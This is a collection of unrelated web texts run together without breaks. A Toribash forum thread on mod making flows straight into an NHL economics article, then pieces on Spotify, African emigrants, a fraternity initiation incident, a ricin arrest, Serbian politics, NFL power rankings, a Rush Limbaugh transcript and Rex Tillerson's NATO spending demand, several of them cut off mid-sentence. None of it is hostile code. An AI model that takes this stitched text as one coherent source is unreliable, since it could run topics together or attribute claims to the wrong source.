what does motd do?
(message of the day) ( ͡° ͜ʖ ͡°) Show Feb 17, 2014 #4 ClockworkMonkey Senior Member
Probably Stole This Belt Join Date: Oct 2007 Posts: 885
it adds text when you load it in single player. So if you wanted to put the rules of the mod, or who made it, put it in there. I don't think there's a character limit, but it won't show in multiplayer. <the god> the god
<@Smilies2> modding tiem
Feb 26, 2014 #5 EmJake Member
Black Belt Join Date: Nov 2013 Posts: 493
nice tutorial, thanks! Mar 1, 2014 #6 LollySt0k Junior Member
Black Belt Join Date: Jan 2014 Posts: 18
i exported a mod but i dont know how i can open it again. I know that you can go to modmaker again, but i want my mod in a server
-----
i exported a mod but i dont know how i can open it again. I know that you can go to modmaker again, but i want my mod in a server oink oink (00) Last edited by LollySt0k; Mar 1, 2014 at 03:56 PM.. Reason: <24 hour edit/bump Mar 1, 2014 #7 ClockworkMonkey Senior Member
Probably Stole This Belt Join Date: Oct 2007 Posts: 885
http://forum.toribash.com/tori_mod_add.php mods are exported to the folder "player exported mods" in the toribash main folder. Upload them here if they're ready to play online. <the god> the god
<@Smilies2> modding tiem
Mar 2, 2014 #8 LollySt0k Junior Member
Black Belt Join Date: Jan 2014 Posts: 18
?
-----
i mean, i dont know how to open the toribash main folder, i have a laptop so i dont know if that matters or anything. but when i klick that link and i klick on the button to choose a mod to upload i only see my photo's and stuff like that, so how do you get the mod that you made in the toribash modmaker in a folder so you can upload it there-----i mean, i dont know how to open the toribash main folder, i have a laptop so i dont know if that matters or anything. oink oink (00) Last edited by LollySt0k; Mar 2, 2014 at 06:39 PM.. Reason: <24 hour edit/bump Mar 13, 2014 #9 LollySt0k Junior Member
Black Belt Join Date: Jan 2014 Posts: 18
oh, i find it out :P oink oink (00) Mar 14, 2014 #10 Karstnator NON-EXISTING!
Gay 4 SlyBash Belt Join Date: Apr 2012 Posts: 4,393
Thank you, teach us more D This... HELPED ME A LOT!Thank you, teach us more Page 1 of 2 1 2 >
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Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. ragdoll fighting game physics fighting game ragdoll fighting physics funmotion joints martial arts karate pc mac free game turn based gameTalks in the NHL labor battle slog on, mediators and all. Time is running short to salvage part of the 2012-13 season - all games through Dec. 30 have already been cancelled.
The current NHL battle between owners and players is an old one, as sports leagues go. A chasm between haves and have-nots puts emphasis on doing something for the poorer franchises. The owners focus on cutting the players’ share of the pie, the players tell the owners to share more revenue. The idea is that eventually, some sort of compromise gets worked out that includes a little of both.
Unfortunately, trimming back player salaries from 57% of revenue to 50% won’t solve the fundamental problem. Neither will throwing a bit more of the New York Rangers’ or Montreal Canadiens’ money to the St. Louis Blues and Florida Panthers. That’s because the fundamental problem is this: the NHL has 30 teams when it should have 20 teams. Time to start chopping.
“You’ve got almost no centralized revenue to work with,” says Roger Noll, a Stanford University economist who has written extensively about sports economics, about the NHL’s lack of a significant national television package. “There is probably no way to make the bottom of the league viable. Even if salaries were zero, some still couldn’t cover their other costs.”
Of course any contraction proposal offered up by Commissioner Gary Bettman would meet the full force of the union. Getting it would be a long, messy, process. But everyone, even Donald Fehr, has to face reality at some point.
Noll figures that, at least on paper, the only non-contraction solution out there is a very high marginal tax rate - 40% or more of gross income - on the wealthier clubs, with the money distributed to those at the bottom. Problem: the big guys wouldn’t go for it. The original six (Toronto, Montreal, Boston, New York Rangers, Detroit, Chicago) would be better off joining with a handful of other strong franchises in Canada and the northern U.S. (Vancouver, Pittsburgh, Philadelphia, among others) to break off into their own league. Why give away the store to markets that aren’t helping to bring in more national television money, which was the original hope?
Alas, the only other option: “Substantial contraction,” says Noll. “People in the south and west just aren’t hockey fans.”
The 21st century hockey industry basically mirrors the 19th century railroad industry: too much capacity. And just as some modern politicians are intent on investing in high speed rail that no one wants to ride, the modern NHL has pushed out more hockey across the country than people want to see. The most obvious example is the Sunbelt strategy – a concept that pre-dates Bettman - that’s moved teams into Florida, Arizona, North Carolina and California. The plan has failed. So has expansion into other non-traditional markets like Nashville and Columbus. Three teams in the New York area seems like overkill, too, given that only one is enjoying much financial success.
With the exception of the L.A. Kings, who get by on the sheer size of their market, “The Sunbelt teams just have no significant ticket revenue and no significant television revenue,” says Noll.
Problems run long and deep. Check the record since the NHL’s last lockout in 2004-05. League-wide revenue is up about 50% to over $3 billion. But 83% of the profits go to three teams. Almost half the 30 clubs lost money last season.
And we’re not talking about a one-year knockoff. In the seven seasons the league has played since the previous lockout, six franchises - the New York Islanders, Nashville Predators, Florida Panthers, Phoenix Coyotes, St. Louis Blues and Columbus Blue Jackets - have suffered operating losses in every one of them. The Carolina Hurricanes lost money in all but one season, the San Jose Sharks in all but two.
The Tampa Bay Lighting, coming off a Stanley Cup championship just before the last lockout, were profitable for awhile but have since reversed course, losing money for the last three years. Borderline clubs like the Anaheim Ducks and New Jersey Devils have been up and down since 2005 – the Ducks are currently on a three-year streak of losses while the Devils, despite a lot of success on the ice, have lost money in the aggregate over the seven years. The Atlanta Thrashers lost money six years in a row before recovering as the Winnipeg Jets last year, after a sale to True North Entertainment.
Then there are television ratings, mostly abysmal in the non-traditional markets. Phoenix gets about 10,000 viewers a game on local cable, Florida closer to 3,000 (the Miami Herald quipped that some infomercials draw more viewers than the Panthers do). For perspective, the Pittsburgh Penguins draw roughly 100,000 viewers a game - a classic case of passionate markets outdrawing large ones. Clearly the league expected (hoped?) that as it expanded into large television markets in non-traditional areas, fan passion and interest would eventually grow over time. But that hasn’t happened.
Attendance, at first blush, appears healthy in most NHL cities. Last season, two-thirds of all teams filled their arenas to 95% or more of capacity. But revenue is a different story. Teams in strong hockey markets naturally enjoy more pricing power. A quick example: the Lighting drew 18,400 fans per game last season, slightly more than the Rangers. But Tampa Bay used low ticket prices to lure fans in - the club’s $38 average ticket price was third-lowest in the league. Result: gate receipts of just $23 million. The Rangers, who charge almost twice as much for tickets, had $95 million in gate receipts.
A peek at the valuations shows the NHL to be the most bifurcated of the four major North American sports leagues. The league’s most valuable club, the Toronto Maple Leafs, is worth what the bottom seven clubs are collectively. In Major League Baseball, the second-most disparate league, the most valuable team equals the bottom five. The ratio is closer to three-to-one in the NBA and barely above two-to-one in the NFL, which equally shares a strong national TV bounty among all 32 clubs.
Clearly, something has to give. The NHL does enjoy a nice fan base in many ways - true hockey fans are passionate and loyal, and surveys show them to be upscale and tech savvy. So there’s money to be made online, on television and at the gate, at least in strong markets. The sport just hasn’t caught on with the casual fan. Sooner or later, the size and scope of the league will need to reflect that.
Follow Me on TwitterIn a major change that has been rumored for weeks, Spotify announced today that it will give some artists the choice of restricting new albums to the streaming service’s paid subscribers for the first two weeks of release. The shift is part of a new licensing deal with Universal Music Group and only applies to Universal artists, for now. (Spotify has also been in negotiations with the other two major labels, Sony and Warner, the Financial Times reports.) “We know that not every album by every artist should be released the same way, and we’ve worked hard with UMG to develop a new, flexible release policy,” Spotify CEO Daniel Ek said in a statement.
The option for artists to hold back some albums from Spotify’s free tier, known as “windowing,” has been a key issue in the music industry at least since Taylor Swift’s 2014 decision to remove her music from the streaming service altogether. In today's announcement, Universal chairman and CEO Lucian Grainge said that “the long-term success of Spotify, and others like it, is essential to the ecosystem’s enduring health.”
Spotify’s streaming rivals Apple and Tidal don’t offer a free tier. The major labels have recently been pushing against free services in hopes of boosting paid subscriptions. According to the latest numbers from the RIAA, free on-demand streaming services like YouTube and the free version of Spotify generated $469 million in revenues in the United States in 2016, compared with $2.5 billion for paid subscriptions.
Revisit our explorations of the streaming economy, “The Year in Streaming 2016,” and “Is the Era of Free Streaming Coming to an End?”Image caption Sammy Maina says the ten years he spent in the US would have been more profitable at home in Africa
The American dream is not all it is cut out to be and some Africans are turning their backs on life in the US.
Frustrated by tough economic times in the United States, Sammy Maina is packed, ready and waiting to return to Kenya.
"I'm fed up and finished with the US," declares Mr Maina, 33, owner of a prepaid calling card firm, Myaatel, and a money transfer company, Doubles Xpress, that caters for African immigrants.
But with money scarce because of the recession, fewer and fewer immigrants can afford to purchase his international phone cards or pay to use his money transfer services.
"People here don't have money any more," complains Mr Maina, who says the "American Dream" of a big house, flashy car and piles of money was unrealistic.
Instead he found long hours, little pay and limited joy.
Life in America is so demanding, says Mr Maina, that it has cost several of his African friends their marriages and even led some to commit suicide.
"It is very difficult right now and so many people are packing and going back to Kenya in big, big numbers."
'Little Senegal'
There are an estimated one million Africans in the US.
You are very unlikely to find Africans who have settled in the US giving up the insurance policy of a green card or US citizenship to completely transfer their lives back to Africa Kathleen Newland, Migration Policy Institute
According to the homeland security department, 130,000 Africans migrate legally to the US each year.
It is impossible to say how many returnees there are, as the evidence is anecdotal but representatives of African community associations in New York, Atlanta and Boston all say they know of large numbers of expatriates making plans to leave the US.
The reason: they cannot find jobs and have become desperate about their future here.
New York's Association of Senegalese in America has been inundated with requests from expatriates who have lost their jobs, are facing homelessness, and who want financial help to return home.
Dame Sy, a volunteer with the association, says members donate money to buy aeroplane tickets to send home Senegalese who are down on their luck in New York.
"We just sent one home in January and before that we sent between 12 and 15 last year," explains Mr Sy. "Everyday, people are talking about it."
At the association's offices in the "Little Senegal" section of Harlem, in New York, I was introduced to a 41-year-old illegal immigrant called Ndoum.
She has been having a very difficult time in the US, she says, and would happily go home to Dakar if she could find the money for a plane ticket.
Before the recession it was possible for an undocumented immigrant like her to find a menial job in a factory. Unable now to find work, and in constant fear of being seized by immigration police, Ndoum does not know what to do.
"I tell people: 'Don't come to the US now'," she says tearfully.
'Sweet Liberia'
Kenyan Irene Onyango is a 37-year-old nurse living in Delaware, near Washington DC. Her income sometimes barely covers her bills. She is also concerned that working a 16-hour day is damaging her health.
Image caption "Africans in the US will leave in record numbers." predicts pastor Shadrach Deline
When she goes to Kenya on holiday, her friends refuse to let her pay for anything because they say she has to slave to earn her money in the US.
Now that the Kenyan constitution has been amended to allow dual citizenship, Ms Onyango says she can go home and not worry that should she need to return to the US one day, she will be stopped.
"Believe me," she says, "the next plane that goes to Jomo Kenyatta airport will have me on it."
But migration expert Kathleen Newland, a director of the Migration Policy Institute in Washington DC, says what Ms Onyango and other Africans resident in the US are doing when they return to Africa, is not reverse migration.
Ms Newland says this is better described as "the formation of transnational populations" - people who keep a foot on two continents.
"I think you are very unlikely to find Africans who have settled in the US giving up the insurance policy of a green card or US citizenship to completely transfer their lives back to Africa," Ms Newland says.
What transnational people like Ms Onyango will do, she adds, is divide their lives between two places.
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"What it does tell us about Africa is there is a lot more hope and optimism about the economic prospects," she says.
Liberian singer and pastor Shadrach Deline is one of several African expatriates in the US to recently release a song expressing a longing for Africa.
In Tomorrow I Am Going Home, Deline, a pastor of the Nation of Christ Believers' Fellowship Center in Atlanta, Georgia, sings he has "sweated hard" in the US. Now it is time for him to "sell his house, sell his car, sell his boat" and go home to "sweet, sweet Liberia".
In the video, Deline removes his Western-style three-piece suit and puts on an African robed garment.
Deline says the song's message resonates with African expatriates because no matter how comfortable an exile they enjoy, an African will always yearn for home.
"There will come a time," he says "when Africans will not even bother coming to the US because life will be so beautiful back in Africa. There will be no need to ever leave."
Leslie Goffe is a freelance journalist based in New YorkOn Feb. 26, Zoe texted the SAE president to ask to meet with him. At Wall Street Pizza, he recounted what occurred at the initiation. He had no role in the creation of the speech, nor did he approve it in advance, he told her. He downplayed its contents, saying the remarks about her were brief. The purpose of the speech was to poke fun at the brothers and be self-deprecating, not to publicly shame her, he said — reasoning that the chaplains later echoed in conversations with her.
The discussion inside the pizza joint turned to the president’s advice for her. When Zoe told him that her friends had urged her to alert University officials, the president warned her to lay low: bringing the event to the administration’s attention would hurt her already damaged reputation, as well as that of the fraternity. So, too, would continuing to drink and hook up tarnish her image on campus. She could expect phone calls for hookups in the middle of the night, but none to ask her out on a date, he told her. “I gave her my honest opinion and said that I thought that this would not be the best course of action,” the president wrote about the conversation in a statement to the UWC last April. “I did this in good faith, acting as a friend to whom she had come for advice … I in no way intended to threaten her.”
It was after this conversation that Zoe realized she had lost control of the situation.
“If I had found out about these boys talking about me and stuff that they had done with me and things that I had allegedly said about them in the comfort of their own homes, I would not have been surprised,’” she said. “Of course they’re going to talk about me. Girls talk about this all the time. Guys talk about this all the time. That in itself would not have bothered me.” The fact that this was an official initiation event in front of almost two dozen freshman boys, as well as many male classmates she considered friends, was what scared her.
Zoe struggled with the decision to file a complaint. She spoke with her sisters, several of her close friends and the dean of her residential college. “It occupied my mind, every single minute of the day,” she said. She suddenly had the feeling that everyone knew who she was and that they were talking about her. She was simultaneously disturbed by what they knew, but also anxious that all the gossip had twisted the truth of what had actually occurred.
Throughout the spring, she was acutely aware of encounters with SAE members around campus, doing her best to avoid the five men featured in the speech, including one who was in her residential college. She
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instructor was taken into custody early Saturday by federal authorities in Mississippi, accused of mailing letters containing the poison ricin to the president, a United States senator and a local judge.
The arrest of J. Everett Dutschke, 41, of Tupelo is the second in two weeks in connection with the case. An earlier suspect, an Elvis impersonator named Paul Kevin Curtis, of Corinth, Miss., was released after no evidence was found linking him to the letters. Mr. Curtis’s lawyer had said during a hearing in federal court that Mr. Dutschke appeared to have framed Mr. Curtis.
Deborah Madden, a spokeswoman for the F.B.I. in Jackson, said Mr. Dutschke was arrested at home shortly before 1 a.m. A law enforcement official in Tupelo said his arrest was uneventful.
“He walked out, and they took him into custody,” said Sgt. James Hood of the Tupelo Police Department. “No problem or anything.”Izvor: N1
Šef poslaničke grupe DS Goran Ćirić ocenjuje da aktuelni predsednik Vlade i izabrani predsednik Srbije Aleksandar Vučić verovatno neće izaći u susret zahtevima studenata. Vučić je, očigledno, nespreman da čuje drugo mišljenje, dodaje. Govoreći o najavljenom pokretu Saše Jankovića, kaže da on nije konkurencija DS i da će zajedno na naredne izbore.
Komentarišući to što ni praznici nisu zaustavili demonstrante da izađu na ulice, u "Protest protiv diktature", Ćirić kaže da mladi žele da održe kontinuitet, i da je to važno.
"Ljudi će se vratiti posle praznika, i sigurno je da će istrajavati u svojim zahtevima", ocenio je.
Prema izjavama koje čujem Aleksandra Vučuića, koji odlučuje o svemu u ovoj zemlji, verovatno je da neće izaći u susret zahtevima studenata, kaže. Izjave "neka šetaju 10 godina, samo nek je mirno", mislim da provociraju građane, dodao je.
Važno je da se sedne odmah s tim ljudima, rekao je Ćirić i dodao da je bitno da se otvori dijalog, jer vlast mora da ima odgovornost i prema građanima, a ne samo prema međunarodnim institucijama.
Ocenio je da su mladi, kad su se probudili posle izbora, jasno identifikovali u kakvoj Srbiji će živeti, i da se neće ništa promeniti.
Upitan o partijskom zapošljavanju, kog se nijedna vlast u Srbiji do sada nije odrekla, rekao je da je to "pitanje reforme sistema". Važno je otvoriti prostor za one ljude koji će obezbediti rezultate javnog sistema, ne treba zloupotrebiti tu političku mogućnost - da jedina selekcija bude partijska pripadnost, kaže. Smetnju u selektovanju tih ljudi pravi partijska ostrašćenost, dodaje.
Na konstataciju da je toga bilo i za vreme demokrata na vlasti, kaže: "Očigledno da DS nije bila u potpunosti imuna na to, ali mi smo platili tu cenu". Ipak, ocenjuje da u poslednjih pet godina, uz to (partijsko zapošljavanje) postoje i pritisci i ucene na ljude zbog glasanja - pritisak da će ostati bez posla.
Vraćajući se na proteste i zahteve koje su mladi izneli, rekao je da je DS njih (zahteve) podržala i da u saglasnosti sa traženim, podnose incijative u Skupštini Srbije i da na taj način reaguju. "Mi ćemo nastaviti borbu u institucijama, podneli smo inicijativu za smenu Maje Gojković, REM-a..."
Komentarišući zašto ih nema na protestima, kaže da su čuli jasnu poruku da studenti ne žele političare na čelu kolone. Oni se na takav način štite od toga da su "strani plaćenici", ili da su to "politički motivisani protesti", naveo je Ćirić, podsećajući na to šta pojedini predstavnici vladajućih stranaka govore o protestima, ili kako pojedini mediji, bliski režimu, izveštavaju. "Treba jasno reći da su to autentični protesti studenata, bez učešća političara", ističe.
Čovek koji donosi sve odluke (Vučić) je očigledno nespreman da čuje drugo mišljenje, i to je veliki problem za sve nas
Komentarišući te optužbe, kaže da vlast time potcenjuje i pamet i poštenje ljudi koj su hrabro izašli na ulice. Dodao je da DS podržava pravo građana da na taj način izraze svoje nezadovoljstvo.
Veliki problem je i izveštavanje pojedinih medija, koji godinama unazad, kako je rekao, satanizuju DS, optužujući je za sve što ne valja u zemlji. Kao primer naveo je i izveštavanje o hapšenjima pojedinih funkcionera te stranke. "Od 85 optuženih, jedan je osuđen - puno se piše kad su hapšeni, a kad se oslobađaju niko ne spomene", dodaje. Opozicione stranke, kaže, optuživane su za ono što su uradile, ali u 95 odsto slučajeva - za ono što nisu uradile.
Mislim da zaista vidimo kod čoveka koji donosi sve odluke (Vučića), da je očigledno nespreman da čuje drugo mišljenje, da ne želi da otvori debatu, i to je ozbiljan probem za sve nas, rekao je.
Na pitanje da nije kasno DS reagovala tražeći ostavku predsednice Skupštine Maje Gojković, Ćirić je odgovorio negativno: "Nije kasno za to, pravo je vreme, svaki trenutak je pravi da se otvori debata o radu parlamenta i mislim da je važno da DS integriše opoziciju koja je ovo podržala".
On je podsetio na slučaj prilikom konstituisanja aktuelanog parlamenta, kada je Dragoljub Mićunović, koji je kao najstariji poslanik predsedavao, odredio pauzu od dva dana u radu. Tada ga je Maja Gojković optuživala da je želeo državni udar, a sada parlament pauzira 40 dana, istakao je.
Deset meseci traje mandat ove skupštine, mi smo izabrali taj put da ćemo se boriti i u toj atmosferi kad vam se uskraćuje reč, kad su privilegovani poslanici vlasti, kazao je i dodao da bi Vučić želeo da se ne čuje ni u parlamentu reč opozicije.
Poslanici vladajuće stranke kad nemaju argumente potežu i za najbrutalnijim sredstvima, napadajući i decu opozicionara, dodao je, govoreći o položaju opozicije.
Borićemo se pre svega da stavimo na dnevni red ovaj naš zahtev (o Maji Gojković), naveo je.
00:00 Izvor: N1
"Jankovićev pokret nije politička konkurencija DS"
Predsednički kandidat Saša Janković najavio je nedavno da će osnovati pokret, a lider Nove stranke Zoran Živković je saopštio da će raditi zajedno. To nije koalicija ni potpuno spajanje, već nešto treće, rekao je gostujući na N1. Demokratska stranka, iako je podržala Jankovića, nije se odlučila za slično.
DS je od devedesetih godina lider opozicije, to je stranka koja je najveće žrtve dala i bilo bi neozbljno da postane deo jednog pokreta, objasnio je Ćirić.
Nastavljamo saradnju sa Sašom Jankovićem, bez ikakvog uslovljavanja, najiskrenije smo podržali njegovu kandidaturu i građane koji su bili za njegovu kandidaturu, ističe Ćirić.
Na pitanje da li je na ovaj način DS napravila sebi političku konkurenciju, Ćirić kaže da to sigurno nije tako i ističe buduću saradnju.
"Mi ćemo zajedno ići na sve naredne izbore, od beogradskih do mogućih republičkih, i DS je na ovakav način pomogla onome za šta se zalagala - da demokratska opozicija u Srbiji ima jednog kandidata, koji će napraviti referendumsku atmosferu na proteklim predsedničkim izborima... Očigledno da je pravo rešenje bio Saša Janković, i da smo doneli pravu odluku... Važno je sada ukrupniti opoziciju i ohrabriti sve demokratske snage u Srbiji i očigledno da takvog potencijala u Srbiji ima... Mi ćemo nastaviti tu saradnju tražeći sve zajedničke tačke buduće politike i budućeg političkog nastupa", zaključio je.We are cruising into the double-digit weeks, folks. January implications abound, with the top of the Power Rankings starting to look more like the playoff field.
The Patriots keep winning, making many wonder if they'll ever lose. The Steelers won the battle, but lost in the war of attrition (again). The Cowboys simply... well... keep losing.
Tony Romo might get some MVP votes. â Daniel Jeremiah (@MoveTheSticks) November 9, 2015
True that, DJ. Generally speaking, praise has finally come around the pike for Romo, even if it has taken years, and even if it's of the begrudging sort.
OK, enough about the NFC East. Let's talk about everyone's other favorite division, the AFC South!
@HarrisonNFL Titans win against a highpowered Saints offense. Show em some love in the Power Rankings this week. Maybe #27 or #28? â Warner Stephen Fusto (@WarnerFuston) November 9, 2015
Now this is a true blue Titans fan. Setting expectations high. Tennessee did make sweet music this week, strumming its way up the Rankings. The Colts also vaulted upward. And hey, the Texans didn't lose. How about that AFC South?!
For full analysis on all divisions (and teams) see below. As always, feel free to share your hot sports opinion, fresh out the oven: @HarrisonNFL is the place.
Let the dissension commence!
NOTE: The lineup below reflects changes from our Nov. 3 Power Rankings.
RANK 1 8-0 PATRIOTS The train keeps a-rollin'... unfortunately, without Dion Lewis. Terrible injury for the Patriots and especially for Lewis, who had authored one of the cool stories of 2015, transforming from a nowheresville running back into the best third-down back in pro football. On a lighter note, I enjoyed Jimmy Johnson's explanation of New England's onside kick in Sunday's win over Washington during the FOX halftime show. The silver-haired legend said Bill Belichick was practicing for later in the year. You know, like something you do when you're up 45-3. Except New England was only up 7-0 in the first quarter.
RANK 2 8-0 BENGALS 1 Another impressive victory for undefeated Cincinnati, with everyone getting into the act. Tyler Eifert was the headliner with his three touchdown catches, but Mohamed Sanu made plays, Geno Atkins got a sack and, overall, the Bengals showed why they are what their record says they are. One question: Why does Giovani Bernard seem so much more effective than Jeremy Hill? The latter has always been a more patient runner, but Bernard is finding and getting through the creases more quickly. #randomfootballthoughts
RANK 4 7-1 BRONCOS 2 You never want to point the finger at anyone, but... oh brother, what an ugly finish in Indy on Sunday. The Broncos' defense, dominant in every way this season, committed more than a few mental errors. Let's not overreact to the loss, however. DeMarcus Ware being sidelined in the second half made quite a difference, especially with Denver falling by just three points on the road. If you want to over react to Peyton Manning not being able to get the ball outside the numbers, feel free. Several throws were lofted out there, becoming what amounted to "50-50 balls." Typically, those occur when you throw it deep and give your receiver a chance -- not when you're tossing 15-yard out routes.
RANK 6 6-2 CARDINALS Spoke to Larry Fitzgerald on "NFL HQ" this past week, and I felt compelled to ask him how Chris Johnson has made such a comeback. (Of course, one could ask Fitz that same question about himself.) Johnson's two fumbles in Week 8 aside, the veteran running back has been brilliant. Would you believe Johnson is third in the NFL with 676 rushing yards? That's 13 more than he had all last season with the New York Jets.
RANK 12 4-4 EAGLES Wild game in Dallas, with the payoff being that the Eagles are right there with the Giants in the NFC East race. New York is up in the standings with a 5-4 record, but the Giants are also one of the few teams in the NFL to not have had a bye yet. Philly is 4-4 and has the current head-to-head advantage over Big Blue, via a Monday night win over the Giants a few weeks back. I was going to drop another sweet line here, but figured the Eagles' receivers are better at dropping things than me. #poorSam
RANK 14 4-4 SEAHAWKS For all the doom and gloom that surrounds the Seahawks, it's important to remember they're 4-4. This team is certainly capable of mounting a run, considering the talent on defense and Marshawn Lynch's propensity for going off. Seattle is still two games back of NFC West-leading Arizona. The Cardinals and Seahawks also have two games against each other remaining. That division should get interesting before this deal is over.
RANK 17 4-5 SAINTS Very winnable home game turns into a devastating loss for the Saints' postseason aspirations. What once was a formidable home-field advantage -- perhaps second only to Seattle's -- is at best not what it once was. The Saints have dropped seven of their last 10 games in the Superdome, with one of the wins coming in OT against the Brandon Weeden-led Cowboys. Over the last two weeks, visiting teams have scored 83 points. Drew Brees' arm might fall off if he stays in this rat race.
RANK 19 3-5 DOLPHINS 1 Campbellmania (trapsmania?) has slowed to a shrug. The once-mighty Dolphins -- well, the two-game-win-streak Fins -- have now lost consecutive contests by a combined score of 69-24. Ndamukong Suh has 22 tackles and three sacks. The defense is on pace to allow 412 points, which would be the highest total since the halcyon days of Cam Cameron, Cleo Lemon and Channing Crowder.
RANK 20 3-5 REDSKINS 1 On the set of NFL Now's "GameDay Blitz," I queried to the other guys, "How bad was Kirk Cousins today?" Apparently, real bad. (I didn't get to see much of the game, thankfully.) Wonder if Washington's receivers thought about catching some of those passes. Nobody likes that. At least the run game made up for it by racking up 37 whole yards. #httr
RANK 23 3-5 BEARS 2 Monday night marked the fifth game in a row where Jay Cutler balled in the fourth quarter, making clutch throws when his team needed them. And this time, Jeremy Langford played up to the moment, too. Not to quibble, but wondering if Cutler could have taken something off that Nolan Ryan fastball to Zach Miller. Dude stabbed it out of the air like Mike Stanley or (insert any early-'90s spare Rangers catcher here. Geno Petralli?). What a game for the Bears, who have patched together three wins in their past five outings. Sid Luckman is smiling from somewhere in that big NFL title game up in the sky -- where the score is always 73-nothing, good guys.
RANK 24 3-5 CHIEFS 1 Don't look now, but the Chiefs are in the playoff hunt, sitting at 3-5 and carrying a two-game win streak out of the bye. Sure, the club is without its best player, but if the defense stays hot and the offense fares as it did overseas, maybe Kansas City can make some noise down the stretch. A big key to that potential development: How much balance can Charcandrick West provide to the offense in Jamaal Charles' stead as the weather turns?
RANK 26 2-7 BROWNS 2 Another loss, another frustrating week for Browns fans. While Johnny Manziel showed signs of development in the first half last Thursday night, the second-half regression exemplified typical Brownies football. (Coming at you again since 1999!) Cleveland went three-and-out on its first four drives after the break. It wasn't all Manziel's fault, as two balls went off guys' helmets (how does that happen? prime-time glare?) and another off a knee (how does a guy let a ball carom off his knee before getting his hands on it?). So I guess what we're saying is that the Browns at least find entertaining ways to drop footballs.
RANK 27 2-6 RAVENS The Ravens finally earned themselves a little momentum with the win over San Diego, and then got to capitalize on it by... drum roll... having a bye. Oh boy. Could Baltimore still have hopes for a wild card? Believe it or not, yes. The Jets and Steelers own the two wild-card spots for now, and Baltimore has a win over the latter team. Anything is possible. Though having Steve Smith Sr. in the lineup sure would help. #captainobvious
RANK 28 3-5 TEXANS 2 Hard to believe, but at 3-5, the Texans are alive and well in the division race. (AFC South, you're... something.) Improved play from Brian Hoyer and the defense are both hugely important going forward. The latter was supposed to be the strength of this team, but Houston has allowed the most quick-strike drives (fewer than four plays) in the league, while being the weakest red-zone defense in the AFC. The pieces are still there on that side of the ball.
RANK 29 2-6 TITANS 2 Marcus Mariota, take a freaking bow, man. Related question: Where are all those skeptical draftniks, analysts and 14-year-old draft nerds who read Draft Insider's Digest 146 times between games of "Star Wars Battlefront III"? (Actually, SWBIII doesn't come out until Nov. 17.) The rookie from Oregon hasn't exactly set the NFL ablaze on a weekly basis, yet he has outperformed Jameis Winston to this point -- recording his second four-touchdown game of his first six starts on Sunday. Props to Delanie Walker, as well, who had himself a day in New Orleans -- including this double-tapped, gift-wrapped touchdown, courtesy of that menacing Saints secondary.
RANK 30 2-7 CHARGERS 2 "I get no help I get no help I get no help I get no help I get no help I get no help I get no help I get no help I get no help I get no help I get no help I get no help I get no help I get no help I get no help I get no help I get no help I get no help I get no help I get no help I get no help I get no help I get no help I get no help I get no help I get no help I get no help I get no help I get no help."
-- Philip Rivers, either in third grade or early Tuesday morning.
RANK 31 2-6 JAGUARS 2 Another volume game from Blake Bortles: 381 yards and two scores. But once again, the second-year pro forced a ball that should not have been thrown. This time, at the end of the game, with enough time remaining for Jacksonville to live to play another down and make a run at the Jets. Meanwhile, the Allens are almost inseparable: 121 yards for Robinson and 122 from Hurns on Sunday. Not sure there is a more consistent WR pair in the league right now.
RANK 32 1-7 LIONS It was a bye week for the Lions, which means extended time to sit and reflect on what went so wrong in London (or the whole season, for that matter). We've already seen massive changes in the coaching staff and front office. Now there are reports that the team could release Matthew Stafford at the conclusion of the season. From 41 touchdown passes in 2011 to this. It's hard to fathom. Then again, it's harder to fathom a guy playing below sea level averaging over $15 million in annual income.
Follow Elliot Harrison on Twitter @HarrisonNFL.Tuesday on his nationally syndicated radio show, conservative talker Rush Limbaugh declared Monday’s “Not My President’s Day” protests to be a failure.
According to Limbaugh, this protest and other movements are losing steam because they are having little impact on President Donald Trump and will continue to diminish as they begin to be ignored by most of the public.
Transcript as follows (courtesy of RushLimbaugh.com):
Yesterday was “Not My President’s Day,” right? It was Presidents’ Day for most people, but then the left had planned gigantic mobilization of protests and riots against Trump called the “Not My President’s Day.”
Here’s the headline of the Associated Press: “Thousands of Demonstrators Across U.S. Say ‘Not My President.’” But! But! If you go to the individual locations in this same story. In Chicago, several hundred rallied. In Washington, D.C., several hundred rallied. In Atlanta, dozens marched. Hundreds of protesters in Salt Lake City. But wait a minute. The headline says “thousands.” Why is this even a story? It was an abject failure! They didn’t get what they thought. They wanted to replicate what happened on the weekend after Trump’s travel ban was announced, that executive order.
They wanted to replicate that. Who told you they wouldn’t be able to do it? Who told you that they wouldn’t be able to keep this up? And who was it that mocked me for saying it on The View? That would have been the lovely and gracious (ahem) Joy Behar, asking that of Elizabeth Fauxcahontas Warren. You know what Fauxcahontas Warren said in response to the question? (screaming) “I’m gonna tell you what, Rush. We’re not gonna get tired of it. There’s no way we’re gonna get tired. You better get used to it, Rush, because here we’re and we’re not gonna tire.”
Well, the numbers are starting to deteriorate.
Either they ran out of money to pay ’em or the transportation system broke down to get ’em there or else it’s just starting to lose a little bit of its luster. And you know why it will? ‘Cause it isn’t affecting anything. Trump’s not crying. Trump’s not on TV begging them to stop. Trump’s not promising to resign. Trump’s out there trying to implement his agenda, which means he’s not paying any attention. The worst thing can happen these people is to be ignored.Breaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings.
March 31, 2017, 4:00 PM GMT / Updated March 31, 2017, 9:45 PM GMT By Saphora Smith, Abigail Williams and Gabe Joselow
Secretary of State Rex Tillerson issued U.S. allies a deadline Friday: come up with a plan within the next two months to increase military spending.
Speaking ahead of his first talks with the alliance Friday, Tillerson said it was "no longer sustainable" for the U.S. to pay for a "disproportionate share" of NATO’s budget. America's top diplomat said fellow NATO members had until their summit on May 25 to formulate this road map.
The North Atlantic Treaty Organization, better known as NATO, advises all its members to spend 2 percent of their GDP on defense. But most countries — all except United States, Britain, Estonia, Greece and Poland —fall short of this target.
Secretary of State Rex Tillerson has called for a discussion of NATO's response to "Russia's aggression in Ukraine." Nicholas Kamm / AFP - Getty Images
Tillerson said these countries had until May 25 to deliver the plan. He said that by the end of this year they should be meeting this 2-percent target already, or have at least developed a detailed plan to do so.
He didn't say what would happen if leaders failed to meet his demand.
Previous U.S. presidents have complained about European allies not pulling their weight, but President Donald Trump has gone even further by suggesting he would not protect smaller allies unless they upped their game. Trump's tweets saying that "Germany owes vast sums of money to NATO and the United States" led many to question whether he understood the alliance's funding model.
While making his point on spending, Tillerson sought to quell these fears by stressing Washington was committed to NATO's central principle of collective defense.
"We will uphold the agreements we have made to defend our allies," he said. "These are not just words. Tomorrow, a U.S. enhanced, forward presence battalion will be deployed in Poland."
